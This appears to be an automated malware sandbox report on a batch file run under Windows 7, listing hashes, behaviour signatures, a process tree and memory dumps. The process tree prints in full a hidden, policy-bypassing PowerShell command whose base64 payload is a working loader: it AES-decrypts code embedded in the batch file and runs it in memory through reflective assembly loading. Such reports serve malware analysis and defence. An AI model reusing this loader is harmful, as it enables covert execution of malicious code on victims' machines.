Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    02/03/2025, 02:13

General

  • Target

    2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8.bat

  • Size

    64KB

  • MD5

    c24ad5f86f3789fe871d0bd328838f9a

  • SHA1

    fcdf8088406fa2b07e93c02058aa13398c065e02

  • SHA256

    2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8

  • SHA512

    c5a4106048010617319175c0097f9cd1ea1f6198c0fac1590808cca198709adbe0619c0ba14fe55a56f0257f967d5cdeae8cb719472d24d860f6076aed11e88e

  • SSDEEP

    1536:vSWGfd3nZkbmEKUgXEXzICKUnFrcACGUrv4fuipRcLS+/a+gjgYWjT:vP4YHfBXUzGV2G9CT

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\2b376fc26c056e80151240114b9775ca057083dc838c15f586bf2857c9affda8.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskdXRub2IgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHV0bm9iKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICR1dG5vYiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCR1dG5vYiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkdXRub2IiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gemhnY2woJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3FLWUdsT05iM3BrQUcySnhOOGR5UGRMTjNRa1lsVjNiN2RvdEJQOWpHeUE9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1dCMmY1TDNMS3NUbDhHdWdDVStlb2c9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24geGp1eWwoJHBhcmFtX3Zhcil7CSR4Z3lvbD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkdm9rdWg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkka2FveWY9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkeGd5b2wsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGthb3lmLkNvcHlUbygkdm9rdWgpOwkka2FveWYuRGlzcG9zZSgpOwkkeGd5b2wuRGlzcG9zZSgpOwkkdm9rdWguRGlzcG9zZSgpOwkkdm9rdWguVG9BcnJheSgpO31mdW5jdGlvbiBmb2h6cigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHFoeWlyPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHVwaHlvPSRxaHlpci5FbnRyeVBvaW50OwkkdXBoeW8uSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHV0bm9iOyR4b3ZzYT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHV0bm9iKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkZXN3IGluICR4b3ZzYSkgewlpZiAoJGVzdy5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGhtdGtqPSRlc3cuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JG10aGhmPVtzdHJpbmdbXV0kaG10a2ouU3BsaXQoJ1wnKTskcGlidG89eGp1eWwgKHpoZ2NsIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG10aGhmWzBdKSkpOyRvdWNmaj14anV5bCAoemhnY2wgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbXRoaGZbMV0pKSk7Zm9oenIgJHBpYnRvICRudWxsO2ZvaHpyICRvdWNmaiAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2740

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2740-6-0x000007FEF62BE000-0x000007FEF62BF000-memory.dmp

    Filesize

    4KB

  • memory/2740-9-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

    Filesize

    9.6MB

  • memory/2740-8-0x0000000001C60000-0x0000000001C68000-memory.dmp

    Filesize

    32KB

  • memory/2740-7-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

    Filesize

    2.9MB

  • memory/2740-10-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

    Filesize

    9.6MB

  • memory/2740-11-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

    Filesize

    9.6MB

  • memory/2740-12-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

    Filesize

    9.6MB

  • memory/2740-13-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

    Filesize

    9.6MB

  • memory/2740-14-0x000007FEF6000000-0x000007FEF699D000-memory.dmp

    Filesize

    9.6MB